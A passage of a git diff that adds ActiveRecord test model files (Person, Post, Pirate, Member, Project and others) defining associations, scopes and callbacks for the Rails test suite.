+
+ def trace_after_create
+ (@after_create_callbacks_stack ||= []) << !iris.persisted?
+ end
+ alias trace_after_create2 trace_after_create
+
+ def trace_after_update
+ (@after_update_callbacks_stack ||= []) << iris.changed?
+ end
+ alias trace_after_update2 trace_after_update
+
+ def trace_after_save
+ (@after_save_callbacks_stack ||= []) << iris.changed?
+ end
+ alias trace_after_save2 trace_after_save
+end
+
+class Iris < ActiveRecord::Base
+ belongs_to :eye
+end
diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb
new file mode 100644
index 0000000..edb75d3
--- /dev/null
+++ b/activerecord/test/models/face.rb
@@ -0,0 +1,7 @@
+class Face < ActiveRecord::Base
+ belongs_to :man, :inverse_of => :face
+ belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_face
+ # These is a "broken" inverse_of for the purposes of testing
+ belongs_to :horrible_man, :class_name => 'Man', :inverse_of => :horrible_face
+ belongs_to :horrible_polymorphic_man, :polymorphic => true, :inverse_of => :horrible_polymorphic_face
+end
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
new file mode 100644
index 0000000..4b411ca
--- /dev/null
+++ b/activerecord/test/models/friendship.rb
@@ -0,0 +1,6 @@
+class Friendship < ActiveRecord::Base
+ belongs_to :friend, class_name: 'Person'
+ # friend_too exists to test a bug, and probably shouldn't be used elsewhere
+ belongs_to :friend_too, foreign_key: 'friend_id', class_name: 'Person', counter_cache: :friends_too_count
+ belongs_to :follower, class_name: 'Person'
+end
diff --git a/activerecord/test/models/guid.rb b/activerecord/test/models/guid.rb
new file mode 100644
index 0000000..9208dc2
--- /dev/null
+++ b/activerecord/test/models/guid.rb
@@ -0,0 +1,2 @@
+class Guid < ActiveRecord::Base
+end
\ No newline at end of file
diff --git a/activerecord/test/models/interest.rb b/activerecord/test/models/interest.rb
new file mode 100644
index 0000000..d5d9226
--- /dev/null
+++ b/activerecord/test/models/interest.rb
@@ -0,0 +1,5 @@
+class Interest < ActiveRecord::Base
+ belongs_to :man, :inverse_of => :interests
+ belongs_to :polymorphic_man, :polymorphic => true, :inverse_of => :polymorphic_interests
+ belongs_to :zine, :inverse_of => :interests
+end
diff --git a/activerecord/test/models/invoice.rb b/activerecord/test/models/invoice.rb
new file mode 100644
index 0000000..fc6ef02
--- /dev/null
+++ b/activerecord/test/models/invoice.rb
@@ -0,0 +1,4 @@
+class Invoice < ActiveRecord::Base
+ has_many :line_items, :autosave => true
+ before_save {|record| record.balance = record.line_items.map(&:amount).sum }
+end
diff --git a/activerecord/test/models/item.rb b/activerecord/test/models/item.rb
new file mode 100644
index 0000000..c2571dd
--- /dev/null
+++ b/activerecord/test/models/item.rb
@@ -0,0 +1,7 @@
+class AbstractItem < ActiveRecord::Base
+ self.abstract_class = true
+ has_one :tagging, :as => :taggable
+end
+
+class Item < AbstractItem
+end
diff --git a/activerecord/test/models/job.rb b/activerecord/test/models/job.rb
new file mode 100644
index 0000000..f7b0e78
--- /dev/null
+++ b/activerecord/test/models/job.rb
@@ -0,0 +1,7 @@
+class Job < ActiveRecord::Base
+ has_many :references
+ has_many :people, :through => :references
+ belongs_to :ideal_reference, :class_name => 'Reference'
+
+ has_many :agents, :through => :people
+end
diff --git a/activerecord/test/models/joke.rb b/activerecord/test/models/joke.rb
new file mode 100644
index 0000000..edda465
--- /dev/null
+++ b/activerecord/test/models/joke.rb
@@ -0,0 +1,7 @@
+class Joke < ActiveRecord::Base
+ self.table_name = 'funny_jokes'
+end
+
+class GoodJoke < ActiveRecord::Base
+ self.table_name = 'funny_jokes'
+end
diff --git a/activerecord/test/models/keyboard.rb b/activerecord/test/models/keyboard.rb
new file mode 100644
index 0000000..39347e2
--- /dev/null
+++ b/activerecord/test/models/keyboard.rb
@@ -0,0 +1,3 @@
+class Keyboard < ActiveRecord::Base
+ self.primary_key = 'key_number'
+end
diff --git a/activerecord/test/models/legacy_thing.rb b/activerecord/test/models/legacy_thing.rb
new file mode 100644
index 0000000..eead181
--- /dev/null
+++ b/activerecord/test/models/legacy_thing.rb
@@ -0,0 +1,3 @@
+class LegacyThing < ActiveRecord::Base
+ self.locking_column = :version
+end
diff --git a/activerecord/test/models/lesson.rb b/activerecord/test/models/lesson.rb
new file mode 100644
index 0000000..4c88153
--- /dev/null
+++ b/activerecord/test/models/lesson.rb
@@ -0,0 +1,11 @@
+class LessonError < Exception
+end
+
+class Lesson < ActiveRecord::Base
+ has_and_belongs_to_many :students
+ before_destroy :ensure_no_students
+
+ def ensure_no_students
+ raise LessonError unless students.empty?
+ end
+end
diff --git a/activerecord/test/models/line_item.rb b/activerecord/test/models/line_item.rb
new file mode 100644
index 0000000..0dd921a
--- /dev/null
+++ b/activerecord/test/models/line_item.rb
@@ -0,0 +1,3 @@
+class LineItem < ActiveRecord::Base
+ belongs_to :invoice, :touch => true
+end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
new file mode 100644
index 0000000..69d4d7d
--- /dev/null
+++ b/activerecord/test/models/liquid.rb
@@ -0,0 +1,4 @@
+class Liquid < ActiveRecord::Base
+ self.table_name = :liquid
+ has_many :molecules, -> { distinct }
+end
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
new file mode 100644
index 0000000..4bff92d
--- /dev/null
+++ b/activerecord/test/models/man.rb
@@ -0,0 +1,9 @@
+class Man < ActiveRecord::Base
+ has_one :face, :inverse_of => :man
+ has_one :polymorphic_face, :class_name => 'Face', :as => :polymorphic_man, :inverse_of => :polymorphic_man
+ has_many :interests, :inverse_of => :man
+ has_many :polymorphic_interests, :class_name => 'Interest', :as => :polymorphic_man, :inverse_of => :polymorphic_man
+ # These are "broken" inverse_of associations for the purposes of testing
+ has_one :dirty_face, :class_name => 'Face', :inverse_of => :dirty_man
+ has_many :secret_interests, :class_name => 'Interest', :inverse_of => :secret_man
+end
diff --git a/activerecord/test/models/matey.rb b/activerecord/test/models/matey.rb
new file mode 100644
index 0000000..47b0baa
--- /dev/null
+++ b/activerecord/test/models/matey.rb
@@ -0,0 +1,4 @@
+class Matey < ActiveRecord::Base
+ belongs_to :pirate
+ belongs_to :target, :class_name => 'Pirate'
+end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
new file mode 100644
index 0000000..1134b09
--- /dev/null
+++ b/activerecord/test/models/member.rb
@@ -0,0 +1,36 @@
+class Member < ActiveRecord::Base
+ has_one :current_membership
+ has_one :selected_membership
+ has_one :membership
+ has_many :fellow_members, :through => :club, :source => :members
+ has_one :club, :through => :current_membership
+ has_one :selected_club, :through => :selected_membership, :source => :club
+ has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
+ has_one :hairy_club, -> { where :clubs => {:name => "Moustache and Eyebrow Fancier Club"} }, :through => :membership, :source => :club
+ has_one :sponsor, :as => :sponsorable
+ has_one :sponsor_club, :through => :sponsor
+ has_one :member_detail
+ has_one :organization, :through => :member_detail
+ belongs_to :member_type
+
+ has_many :nested_member_types, :through => :member_detail, :source => :member_type
+ has_one :nested_member_type, :through => :member_detail, :source => :member_type
+
+ has_many :nested_sponsors, :through => :sponsor_club, :source => :sponsor
+ has_one :nested_sponsor, :through => :sponsor_club, :source => :sponsor
+
+ has_many :organization_member_details, :through => :member_detail
+ has_many :organization_member_details_2, :through => :organization, :source => :member_details
+
+ has_one :club_category, :through => :club, :source => :category
+
+ has_many :current_memberships, -> { where :favourite => true }
+ has_many :clubs, :through => :current_memberships
+
+ has_one :club_through_many, :through => :current_memberships, :source => :club
+end
+
+class SelfMember < ActiveRecord::Base
+ self.table_name = "members"
+ has_and_belongs_to_many :friends, :class_name => "SelfMember", :join_table => "member_friends"
+end
diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb
new file mode 100644
index 0000000..fe619f8
--- /dev/null
+++ b/activerecord/test/models/member_detail.rb
@@ -0,0 +1,7 @@
+class MemberDetail < ActiveRecord::Base
+ belongs_to :member
+ belongs_to :organization
+ has_one :member_type, :through => :member
+
+ has_many :organization_member_details, :through => :organization, :source => :member_details
+end
diff --git a/activerecord/test/models/member_type.rb b/activerecord/test/models/member_type.rb
new file mode 100644
index 0000000..a13561c
--- /dev/null
+++ b/activerecord/test/models/member_type.rb
@@ -0,0 +1,3 @@
+class MemberType < ActiveRecord::Base
+ has_many :members
+end
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
new file mode 100644
index 0000000..bcbb7e4
--- /dev/null
+++ b/activerecord/test/models/membership.rb
@@ -0,0 +1,15 @@
+class Membership < ActiveRecord::Base
+ belongs_to :member
+ belongs_to :club
+end
+
+class CurrentMembership < Membership
+ belongs_to :member
+ belongs_to :club
+end
+
+class SelectedMembership < Membership
+ def self.default_scope
+ select("'1' as foo")
+ end
+end
diff --git a/activerecord/test/models/minimalistic.rb b/activerecord/test/models/minimalistic.rb
new file mode 100644
index 0000000..2e3f8e0
--- /dev/null
+++ b/activerecord/test/models/minimalistic.rb
@@ -0,0 +1,2 @@
+class Minimalistic < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/minivan.rb b/activerecord/test/models/minivan.rb
new file mode 100644
index 0000000..4fe7972
--- /dev/null
+++ b/activerecord/test/models/minivan.rb
@@ -0,0 +1,9 @@
+class Minivan < ActiveRecord::Base
+ self.primary_key = :minivan_id
+
+ belongs_to :speedometer
+ has_one :dashboard, :through => :speedometer
+
+ attr_readonly :color
+
+end
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
new file mode 100644
index 0000000..763baef
--- /dev/null
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -0,0 +1,3 @@
+class MixedCaseMonkey < ActiveRecord::Base
+ self.primary_key = 'monkeyID'
+end
diff --git a/activerecord/test/models/molecule.rb b/activerecord/test/models/molecule.rb
new file mode 100644
index 0000000..69325b8
--- /dev/null
+++ b/activerecord/test/models/molecule.rb
@@ -0,0 +1,4 @@
+class Molecule < ActiveRecord::Base
+ belongs_to :liquid
+ has_many :electrons
+end
diff --git a/activerecord/test/models/movie.rb b/activerecord/test/models/movie.rb
new file mode 100644
index 0000000..6384b4c
--- /dev/null
+++ b/activerecord/test/models/movie.rb
@@ -0,0 +1,5 @@
+class Movie < ActiveRecord::Base
+ def self.primary_key
+ "movieid"
+ end
+end
diff --git a/activerecord/test/models/order.rb b/activerecord/test/models/order.rb
new file mode 100644
index 0000000..e838c0b
--- /dev/null
+++ b/activerecord/test/models/order.rb
@@ -0,0 +1,4 @@
+class Order < ActiveRecord::Base
+ belongs_to :billing, :class_name => 'Customer', :foreign_key => 'billing_customer_id'
+ belongs_to :shipping, :class_name => 'Customer', :foreign_key => 'shipping_customer_id'
+end
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
new file mode 100644
index 0000000..72e7bad
--- /dev/null
+++ b/activerecord/test/models/organization.rb
@@ -0,0 +1,12 @@
+class Organization < ActiveRecord::Base
+ has_many :member_details
+ has_many :members, :through => :member_details
+
+ has_many :authors, :primary_key => :name
+ has_many :author_essay_categories, :through => :authors, :source => :essay_categories
+
+ has_one :author, :primary_key => :name
+ has_one :author_owned_essay_category, :through => :author, :source => :owned_essay_category
+
+ scope :clubs, -> { from('clubs') }
+end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
new file mode 100644
index 0000000..1c7ed4a
--- /dev/null
+++ b/activerecord/test/models/owner.rb
@@ -0,0 +1,5 @@
+class Owner < ActiveRecord::Base
+ self.primary_key = :owner_id
+ has_many :pets, -> { order 'pets.name desc' }
+ has_many :toys, :through => :pets
+end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
new file mode 100644
index 0000000..c4ee2bd
--- /dev/null
+++ b/activerecord/test/models/parrot.rb
@@ -0,0 +1,23 @@
+class Parrot < ActiveRecord::Base
+ self.inheritance_column = :parrot_sti_class
+
+ has_and_belongs_to_many :pirates
+ has_and_belongs_to_many :treasures
+ has_many :loots, :as => :looter
+ alias_attribute :title, :name
+
+ validates_presence_of :name
+
+ attr_accessor :cancel_save_from_callback
+ before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
+ def cancel_save_callback_method
+ false
+ end
+end
+
+class LiveParrot < Parrot
+end
+
+class DeadParrot < Parrot
+ belongs_to :killer, :class_name => 'Pirate'
+end
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
new file mode 100644
index 0000000..2985160
--- /dev/null
+++ b/activerecord/test/models/person.rb
@@ -0,0 +1,127 @@
+class Person < ActiveRecord::Base
+ has_many :readers
+ has_many :secure_readers
+ has_one :reader
+
+ has_many :posts, :through => :readers
+ has_many :secure_posts, :through => :secure_readers
+ has_many :posts_with_no_comments, -> { includes(:comments).where('comments.id is null').references(:comments) },
+ :through => :readers, :source => :post
+
+ has_many :friendships, foreign_key: 'friend_id'
+ # friends_too exists to test a bug, and probably shouldn't be used elsewhere
+ has_many :friends_too, foreign_key: 'friend_id', class_name: 'Friendship'
+ has_many :followers, through: :friendships
+
+ has_many :references
+ has_many :bad_references
+ has_many :fixed_bad_references, -> { where :favourite => true }, :class_name => 'BadReference'
+ has_one :favourite_reference, -> { where 'favourite=?', true }, :class_name => 'Reference'
+ has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order('comments.id') }, :through => :readers, :source => :post
+ has_many :first_posts, -> { where(id: [1, 2]) }, through: :readers
+
+ has_many :jobs, :through => :references
+ has_many :jobs_with_dependent_destroy, :source => :job, :through => :references, :dependent => :destroy
+ has_many :jobs_with_dependent_delete_all, :source => :job, :through => :references, :dependent => :delete_all
+ has_many :jobs_with_dependent_nullify, :source => :job, :through => :references, :dependent => :nullify
+
+ belongs_to :primary_contact, :class_name => 'Person'
+ has_many :agents, :class_name => 'Person', :foreign_key => 'primary_contact_id'
+ has_many :agents_of_agents, :through => :agents, :source => :agents
+ belongs_to :number1_fan, :class_name => 'Person'
+
+ has_many :agents_posts, :through => :agents, :source => :posts
+ has_many :agents_posts_authors, :through => :agents_posts, :source => :author
+
+ scope :males, -> { where(:gender => 'M') }
+ scope :females, -> { where(:gender => 'F') }
+end
+
+class PersonWithDependentDestroyJobs < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_many :references, :foreign_key => :person_id
+ has_many :jobs, :source => :job, :through => :references, :dependent => :destroy
+end
+
+class PersonWithDependentDeleteAllJobs < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_many :references, :foreign_key => :person_id
+ has_many :jobs, :source => :job, :through => :references, :dependent => :delete_all
+end
+
+class PersonWithDependentNullifyJobs < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_many :references, :foreign_key => :person_id
+ has_many :jobs, :source => :job, :through => :references, :dependent => :nullify
+end
+
+
+class LoosePerson < ActiveRecord::Base
+ self.table_name = 'people'
+ self.abstract_class = true
+
+ has_one :best_friend, :class_name => 'LoosePerson', :foreign_key => :best_friend_id
+ belongs_to :best_friend_of, :class_name => 'LoosePerson', :foreign_key => :best_friend_of_id
+ has_many :best_friends, :class_name => 'LoosePerson', :foreign_key => :best_friend_id
+
+ accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends
+end
+
+class LooseDescendant < LoosePerson; end
+
+class TightPerson < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_one :best_friend, :class_name => 'TightPerson', :foreign_key => :best_friend_id
+ belongs_to :best_friend_of, :class_name => 'TightPerson', :foreign_key => :best_friend_of_id
+ has_many :best_friends, :class_name => 'TightPerson', :foreign_key => :best_friend_id
+
+ accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends
+end
+
+class TightDescendant < TightPerson; end
+
+class RichPerson < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+end
+
+class NestedPerson < ActiveRecord::Base
+ self.table_name = 'people'
+
+ has_one :best_friend, :class_name => 'NestedPerson', :foreign_key => :best_friend_id
+ accepts_nested_attributes_for :best_friend, :update_only => true
+
+ def comments=(new_comments)
+ raise RuntimeError
+ end
+
+ def best_friend_first_name=(new_name)
+ assign_attributes({ :best_friend_attributes => { :first_name => new_name } })
+ end
+end
+
+class Insure
+ INSURES = %W{life annuality}
+
+ def self.load mask
+ INSURES.select do |insure|
+ (1 << INSURES.index(insure)) & mask.to_i > 0
+ end
+ end
+
+ def self.dump insures
+ numbers = insures.map { |insure| INSURES.index(insure) }
+ numbers.inject(0) { |sum, n| sum + (1 << n) }
+ end
+end
+
+class SerializedPerson < ActiveRecord::Base
+ self.table_name = 'people'
+
+ serialize :insures, Insure
+end
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
new file mode 100644
index 0000000..f7970d7
--- /dev/null
+++ b/activerecord/test/models/pet.rb
@@ -0,0 +1,15 @@
+class Pet < ActiveRecord::Base
+ attr_accessor :current_user
+
+ self.primary_key = :pet_id
+ belongs_to :owner, :touch => true
+ has_many :toys
+
+ class << self
+ attr_accessor :after_destroy_output
+ end
+
+ after_destroy do |record|
+ Pet.after_destroy_output = record.current_user
+ end
+end
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
new file mode 100644
index 0000000..170fc2f
--- /dev/null
+++ b/activerecord/test/models/pirate.rb
@@ -0,0 +1,86 @@
+class Pirate < ActiveRecord::Base
+ belongs_to :parrot, :validate => true
+ belongs_to :non_validated_parrot, :class_name => 'Parrot'
+ has_and_belongs_to_many :parrots, -> { order('parrots.id ASC') }, :validate => true
+ has_and_belongs_to_many :non_validated_parrots, :class_name => 'Parrot'
+ has_and_belongs_to_many :parrots_with_method_callbacks, :class_name => "Parrot",
+ :before_add => :log_before_add,
+ :after_add => :log_after_add,
+ :before_remove => :log_before_remove,
+ :after_remove => :log_after_remove
+ has_and_belongs_to_many :parrots_with_proc_callbacks, :class_name => "Parrot",
+ :before_add => proc {|p,pa| p.ship_log << "before_adding_proc_parrot_#{pa.id || '<new>'}"},
+ :after_add => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
+ :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
+ :after_remove => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+
+ has_many :treasures, :as => :looter
+ has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
+
+ # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
+ has_one :ship
+ has_one :update_only_ship, :class_name => 'Ship'
+ has_one :non_validated_ship, :class_name => 'Ship'
+ has_many :birds, -> { order('birds.id ASC') }
+ has_many :birds_with_method_callbacks, :class_name => "Bird",
+ :before_add => :log_before_add,
+ :after_add => :log_after_add,
+ :before_remove => :log_before_remove,
+ :after_remove => :log_after_remove
+ has_many :birds_with_proc_callbacks, :class_name => "Bird",
+ :before_add => proc {|p,b| p.ship_log << "before_adding_proc_bird_#{b.id || '<new>'}"},
+ :after_add => proc {|p,b| p.ship_log << "after_adding_proc_bird_#{b.id || '<new>'}"},
+ :before_remove => proc {|p,b| p.ship_log << "before_removing_proc_bird_#{b.id}"},
+ :after_remove => proc {|p,b| p.ship_log << "after_removing_proc_bird_#{b.id}"}
+ has_many :birds_with_reject_all_blank, :class_name => "Bird"
+
+ has_one :foo_bulb, -> { where :name => 'foo' }, :foreign_key => :car_id, :class_name => "Bulb"
+
+ accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :update_only_ship, :update_only => true
+ accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
+ :birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
+ accepts_nested_attributes_for :birds_with_reject_all_blank, :reject_if => :all_blank
+
+ validates_presence_of :catchphrase
+
+ def ship_log
+ @ship_log ||= []
+ end
+
+ def reject_empty_ships_on_create(attributes)
+ attributes.delete('_reject_me_if_new').present? && !persisted?
+ end
+
+ attr_accessor :cancel_save_from_callback, :parrots_limit
+ before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
+ def cancel_save_callback_method
+ false
+ end
+
+ private
+ def log_before_add(record)
+ log(record, "before_adding_method")
+ end
+
+ def log_after_add(record)
+ log(record, "after_adding_method")
+ end
+
+ def log_before_remove(record)
+ log(record, "before_removing_method")
+ end
+
+ def log_after_remove(record)
+ log(record, "after_removing_method")
+ end
+
+ def log(record, callback)
+ ship_log << "#{callback}_#{record.class.name.downcase}_#{record.id || '<new>'}"
+ end
+end
+
+class DestructivePirate < Pirate
+ has_one :dependent_ship, :class_name => 'Ship', :foreign_key => :pirate_id, :dependent => :destroy
+end
diff --git a/activerecord/test/models/possession.rb b/activerecord/test/models/possession.rb
new file mode 100644
index 0000000..ddf7591
--- /dev/null
+++ b/activerecord/test/models/possession.rb
@@ -0,0 +1,3 @@
+class Possession < ActiveRecord::Base
+ self.table_name = 'having'
+end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
new file mode 100644
index 0000000..93a7a20
--- /dev/null
+++ b/activerecord/test/models/post.rb
@@ -0,0 +1,194 @@
+class Post < ActiveRecord::Base
+ module NamedExtension
+ def author
+ 'lifo'
+ end
+ end
+
+ module NamedExtension2
+ def greeting
+ "hello"
+ end
+ end
+
+ scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
+ scope :ranked_by_comments, -> { order("comments_count DESC") }
+
+ scope :limit_by, lambda {|l| limit(l) }
+
+ belongs_to :author
+
+ belongs_to :author_with_posts, -> { includes(:posts) }, :class_name => "Author", :foreign_key => :author_id
+ belongs_to :author_with_address, -> { includes(:author_address) }, :class_name => "Author", :foreign_key => :author_id
+
+ def first_comment
+ super.body
+ end
+ has_one :first_comment, -> { order('id ASC') }, :class_name => 'Comment'
+ has_one :last_comment, -> { order('id desc') }, :class_name => 'Comment'
+
+ scope :with_special_comments, -> { joins(:comments).where(:comments => {:type => 'SpecialComment'}) }
+ scope :with_very_special_comments, -> { joins(:comments).where(:comments => {:type => 'VerySpecialComment'}) }
+ scope :with_post, ->(post_id) { joins(:comments).where(:comments => { :post_id => post_id }) }
+
+ scope :with_comments, -> { preload(:comments) }
+ scope :with_tags, -> { preload(:taggings) }
+
+ has_many :comments do
+ def find_most_recent
+ order("id DESC").first
+ end
+
+ def newest
+ created.last
+ end
+
+ def the_association
+ proxy_association
+ end
+ end
+
+ has_many :comments_with_extend, extend: NamedExtension, class_name: "Comment", foreign_key: "post_id" do
+ def greeting
+ "hello"
+ end
+ end
+
+ has_many :comments_with_extend_2, extend: [NamedExtension, NamedExtension2], class_name: "Comment", foreign_key: "post_id"
+
+ has_many :author_favorites, :through => :author
+ has_many :author_categorizations, :through => :author, :source => :categorizations
+ has_many :author_addresses, :through => :author
+
+ has_many :comments_with_interpolated_conditions,
+ ->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
+ :class_name => 'Comment'
+
+ has_one :very_special_comment
+ has_one :very_special_comment_with_post, -> { includes(:post) }, :class_name => "VerySpecialComment"
+ has_many :special_comments
+ has_many :nonexistant_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
+
+ has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
+ has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
+
+ has_and_belongs_to_many :categories
+ has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
+
+ has_many :taggings, :as => :taggable
+ has_many :tags, :through => :taggings do
+ def add_joins_and_select
+ select('tags.*, authors.id as author_id')
+ .joins('left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id')
+ .to_a
+ end
+ end
+
+ has_many :taggings_with_delete_all, :class_name => 'Tagging', :as => :taggable, :dependent => :delete_all
+ has_many :taggings_with_destroy, :class_name => 'Tagging', :as => :taggable, :dependent => :destroy
+
+ has_many :tags_with_destroy, :through => :taggings, :source => :tag, :dependent => :destroy
+ has_many :tags_with_nullify, :through => :taggings, :source => :tag, :dependent => :nullify
+
+ has_many :misc_tags, -> { where :tags => { :name => 'Misc' } }, :through => :taggings, :source => :tag
+ has_many :funky_tags, :through => :taggings, :source => :tag
+ has_many :super_tags, :through => :taggings
+ has_many :tags_with_primary_key, :through => :taggings, :source => :tag_with_primary_key
+ has_one :tagging, :as => :taggable
+
+ has_many :first_taggings, -> { where :taggings => { :comment => 'first' } }, :as => :taggable, :class_name => 'Tagging'
+ has_many :first_blue_tags, -> { where :tags => { :name => 'Blue' } }, :through => :first_taggings, :source => :tag
+
+ has_many :first_blue_tags_2, -> { where :taggings => { :comment => 'first' } }, :through => :taggings, :source => :blue_tag
+
+ has_many :invalid_taggings, -> { where 'taggings.id < 0' }, :as => :taggable, :class_name => "Tagging"
+ has_many :invalid_tags, :through => :invalid_taggings, :source => :tag
+
+ has_many :categorizations, :foreign_key => :category_id
+ has_many :authors, :through => :categorizations
+
+ has_many :categorizations_using_author_id, :primary_key => :author_id, :foreign_key => :post_id, :class_name => 'Categorization'
+ has_many :authors_using_author_id, :through => :categorizations_using_author_id, :source => :author
+
+ has_many :taggings_using_author_id, :primary_key => :author_id, :as => :taggable, :class_name => 'Tagging'
+ has_many :tags_using_author_id, :through => :taggings_using_author_id, :source => :tag
+
+ has_many :standard_categorizations, :class_name => 'Categorization', :foreign_key => :post_id
+ has_many :author_using_custom_pk, :through => :standard_categorizations
+ has_many :authors_using_custom_pk, :through => :standard_categorizations
+ has_many :named_categories, :through => :standard_categorizations
+
+ has_many :readers
+ has_many :secure_readers
+ has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
+ has_many :people, :through => :readers
+ has_many :secure_people, :through => :secure_readers
+ has_many :single_people, :through => :readers
+ has_many :people_with_callbacks, :source=>:person, :through => :readers,
+ :before_add => lambda {|owner, reader| log(:added, :before, reader.first_name) },
+ :after_add => lambda {|owner, reader| log(:added, :after, reader.first_name) },
+ :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
+ :after_remove => lambda {|owner, reader| log(:removed, :after, reader.first_name) }
+ has_many :skimmers, -> { where :skimmer => true }, :class_name => 'Reader'
+ has_many :impatient_people, :through => :skimmers, :source => :person
+
+ has_many :lazy_readers
+ has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
+
+ def self.top(limit)
+ ranked_by_comments.limit_by(limit)
+ end
+
+ def self.reset_log
+ @log = []
+ end
+
+ def self.log(message=nil, side=nil, new_record=nil)
+ return @log if message.nil?
+ @log << [message, side, new_record]
+ end
+
+ def self.what_are_you
+ 'a post...'
+ end
+end
+
+class SpecialPost < Post; end
+
+class StiPost < Post
+ self.abstract_class = true
+ has_one :special_comment, :class_name => "SpecialComment"
+end
+
+class SubStiPost < StiPost
+ self.table_name = Post.table_name
+end
+
+class FirstPost < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope { where(:id => 1) }
+
+ has_many :comments, :foreign_key => :post_id
+ has_one :comment, :foreign_key => :post_id
+end
+
+class PostWithDefaultInclude < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope { includes(:comments) }
+ has_many :comments, :foreign_key => :post_id
+end
+
+class PostWithSpecialCategorization < Post
+ has_many :categorizations, :foreign_key => :post_id
+ default_scope { where(:type => 'PostWithSpecialCategorization').joins(:categorizations).where(:categorizations => { :special => true }) }
+end
+
+class PostWithDefaultScope < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope { order(:title) }
+end
+
+class SpecialPostWithDefaultScope < ActiveRecord::Base
+ self.table_name = 'posts'
+ default_scope { where(:id => [1, 5,6]) }
+end
diff --git a/activerecord/test/models/price_estimate.rb b/activerecord/test/models/price_estimate.rb
new file mode 100644
index 0000000..d09e2a8
--- /dev/null
+++ b/activerecord/test/models/price_estimate.rb
@@ -0,0 +1,4 @@
+class PriceEstimate < ActiveRecord::Base
+ belongs_to :estimate_of, :polymorphic => true
+ belongs_to :thing, polymorphic: true
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
new file mode 100644
index 0000000..f893754
--- /dev/null
+++ b/activerecord/test/models/project.rb
@@ -0,0 +1,43 @@
+class Project < ActiveRecord::Base
+ has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' }
+ has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
+ has_and_belongs_to_many :selected_developers, -> { distinct.select "developers.*" }, :class_name => "Developer"
+ has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
+ has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
+ has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, :class_name => "Developer"
+ has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').distinct }, :class_name => "Developer"
+ has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, :class_name => "Developer"
+
+ ActiveSupport::Deprecation.silence do
+ has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
+ has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
+ "SELECT
+ t.*, j.*
+ FROM
+ developers_projects j,
+ developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
+ }
